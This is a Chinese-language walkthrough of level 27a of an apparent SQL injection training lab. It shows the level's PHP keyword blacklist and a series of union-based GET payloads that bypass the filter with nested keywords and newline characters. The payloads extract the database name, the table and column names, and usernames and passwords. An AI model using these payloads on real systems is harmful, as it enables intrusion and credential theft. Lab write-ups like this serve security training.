5.27a.第27a關 get聯合注入 過濾select和union "閉合


function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out Select
return $id;
}
(1)判斷注入類型、注入點
?id=1' 返回id=1數據
?id=1" 報錯,判斷為字符型注入,"閉合
?id=1"or"0 返回id=1數據
?id=2"or"0 返回id=2數據,確定為"閉合




(2)查詢數據庫名
?id=0"uniunionon%0AseleSelectct%0A7,8,9%0Aand"1id=0"這是注入的起始點。id=0是一個無效的ID值(可能用于觸發錯誤或確保原查詢不返回數據)。雙引號"用于閉合原始查詢中的字符串。
uniunionon這是union關鍵詞的繞過變體
%0A(換行符)用于替代空格,繞過對空格的過濾
seleSelectct?類似uniunionon,這是select關鍵詞的繞過變體
and"1?"可能被解釋為一個字符串或布爾值(真),幫助閉合前面的字符串并使查詢有效?id=0"uniunionon%0AseleSelectct%0A7,database(),9%0Aand"1


(3)查詢表名
?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'%0Aand"1

(4)查詢字段名
?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand"1

(5)查詢賬號密碼
?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(id,0x7e,username,0x3a,password)from%0Ausers%0Awhere%0Aid=3%0Aand"1
